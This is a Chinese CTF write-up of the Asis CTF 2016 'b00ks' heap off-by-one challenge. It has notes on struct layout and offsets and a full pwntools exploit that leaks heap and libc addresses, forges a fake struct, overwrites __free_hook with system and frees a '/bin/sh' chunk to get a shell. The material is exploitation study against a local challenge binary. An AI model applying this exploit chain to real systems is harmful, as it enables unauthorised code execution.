【PWN · heap | Off-By-One】Asis CTF 2016 b00ks

萌新进度太慢了，才真正开始heap，还是从简单的Off-By-One开始吧

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前言

步入堆的学习。堆的知识复杂而多，于是想着由wiki从简单部分逐个啃。

b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵（因为确实连堆的管理机制都没有完全了解）。

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一、一些疑难点以及思考

wp在网上有很多，然而读了五六篇不同大佬师傅写的wp，发现有很多细节被忽略了，可能这些细节都是很简单的，然而作为萌新，一些基本的知识和思路还是缺乏。

好在，经过两三天的啃、跟着做，终于有了一些见解，基本思路也打通了。具体的wp就不在这里写了，可以食用其他大佬的wp，更为优质，而我就做一些补充。一些来自于本蒟蒻的细节的补充。

细节0：off-by-one进行的单字节溢出，可以用作泄露，可以用作覆写。

细节1：结构体分配内存时，先name成员指针、再description成员指针、后book结构体指针

• 这个细节决定了，我们通过off-by-one进行单字节溢出时，地址总是减小，因此可以将book1结构体更新到description

细节2：description可以修改，因此布置fake-book1要在单字节覆写之前；name不可以修改，但是会被首先free——即free_hook在free name时首先发作

• 这就意味着——如果不用onegadget，而利用system('/bin/sh')那就需要把name指针布置为bin_sh字符串指针，也就是需要修改name——我们可以修改fake_book1的desc指针指向book2的name的地址，同时由于book结构体中name、desc两个指针相邻，所以修改name值时，填入p64(bin_sh)+p64(free_hook)即可覆写name+desc指针为指定指针

细节3：fake_book1的偏移，为了能让fake_book1落在指定的、更新后的book1的位置，前面可能需要填充padding，这个通过gdb调试，将偏移后的伪结构体数据布置到指定指针位置。

• 每次运行虽然heap变化，但是低位不变，因此偏移也固定。为了方便布置，可以将book1的descrption内容开大一些。

二、EXP

from pwn import *

context(arch='amd64',log_level='debug')

io=process('./b00ks')
def create(namesize,name,descriptionsize,description):
    io.sendlineafter(b'> ',b'1')
    io.sendlineafter(b'\nEnter book name size: ',str(namesize).encode())
    io.sendlineafter(b'Enter book name (Max 32 chars): ',name)
    io.sendlineafter(b'\nEnter book description size: ',str(descriptionsize).encode())
    io.sendlineafter(b'Enter book description: ',description)
def delete(bookid):
    io.sendlineafter(b'> ',b'2')
    io.sendlineafter(b'Enter the book id you want to delete: ',str(bookid).encode())

def edit(bookid,newdescription):
    io.sendlineafter(b'> ',b'3')
    io.sendlineafter(b'Enter the book id you want to edit: ',str(bookid).encode())
    io.sendlineafter(b'nter new book description: ',newdescription)
    
def printinfo(id):
    io.sendlineafter(b'> ',b'4')
    for i in range(id):
        io.recvuntil(b'ID: ')
        ID=io.recvuntil(b'\n',drop=True)
        io.recvuntil(b'Name: ')
        Name=io.recvuntil(b'\n',drop=True)
        io.recvuntil(b'Description: ')
        Description=io.recvuntil(b'\n',drop=True)
        io.recvuntil(b'Author: ')
        Author=io.recvuntil(b'\n',drop=True)
    return ID,Name,Description,Author

def changeAuthor(newAuthorname):
    io.sendlineafter(b'> ',b'5')
    io.sendlineafter(b'Enter author name: ',newAuthorname)

### 1.泄露第一个book结构体的指针
# gdb.attach(io)
bookname=b'a'*32
io.sendlineafter(b'Enter author name: ',bookname)
create(16,b'a',256,b'a')

io.sendlineafter(b'> ',b'4')
io.recvuntil(b'a'*32)
book1_ptr=u64(io.recvuntil(b'\n\n1.',drop=True).ljust(8,b'\x00'))
success('book1_ptr={}'.format(hex(book1_ptr)))
raw_input()

### 2.伪造book1，并通过off-by-one修改book1到fake_book1
# 将fake_book1的name_ptr属性指向book2的name，将fake_book1的description_ptr属性指向book2的description
# 注意，由于name和description属性都是malloc的，且因为book结构体malloc(0x20)所以开辟的实际空间是0x30

### 之所以+0x40(desc)在前，+0x38(name)在后，是因为第二个位置对应可修改的desc指针，可以通过其修改book2的name、desc
fake_book1=b'c'*0xc0+p64(1)+p64(book1_ptr+0x40)+p64(book1_ptr+0x38)+p64(0xffff)
# fake_book1=b'c'*0x20+p64(1)+p64(book1_ptr+0x38)+p64(book1_ptr+0x40)+p64(0xffff) 
edit(1,fake_book1)

# 为了泄露libc版本，需要让book2的name或description由mmap分配，同时也因此，book1和book2的堆空间相邻
create(0x21000,b'b',0x21000,b'b')
changeAuthor(bookname)
# 注意下面的顺序，先desc再name对应payload的布置
book2_id,book2_desc,book2_name,book2_author=printinfo(1)
print(book2_id,book2_name,book2_desc,book2_author)
book2_name_ptr=u64(book2_name.ljust(8,b'\x00'))
success('book2_name_ptr:{}'.format(hex(book2_name_ptr)))
book2_desc_ptr=u64(book2_desc.ljust(8,b'\x00'))
success('book2_desc_ptr:{}'.format(hex(book2_desc_ptr)))
raw_input()

libc_base=book2_name_ptr-0x5cf010
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
system=libc_base+libc.sym['system']
success('system:{}'.format(hex(system)))
execve=libc_base+libc.sym['execve']
success('execve:{}'.format(hex(execve)))
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))
success('bin_sh:{}'.format(hex(bin_sh)))
free_hook=libc_base+libc.sym['__free_hook']
raw_input()

### 通过onegadget来打，但是均失败了
# one_gadget=libc_base+0xebc88 # 0x50a47 0xebc81 0xebc85 0xebc88
# edit(1,p64(0)+p64(free_hook))
# edit(2,p64(one_gadget))
# delete(2)
### 注意，这里的onegadget是没有patchelf该so和ld文件前即22.04版，16.04版未尝试

### 通过system('/bin/sh')来打
edit(1,p64(bin_sh)+p64(free_hook)) #book2的name指针改为指向字符串'/bin/sh'的指针，desc指针指向free_hook
edit(2,p64(system)) #修改free_hook的值为system\
raw_input('+++++++')
delete(2)# name指向的区域最先free,触发free_hook，此时已改为system

io.interactive()

三、效果

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总结

还是比较难的，但是跟着wp做了一遍，发现细节、原理、思路以及流程都能够了解并掌握，且gdb调适能力大大提升。加油！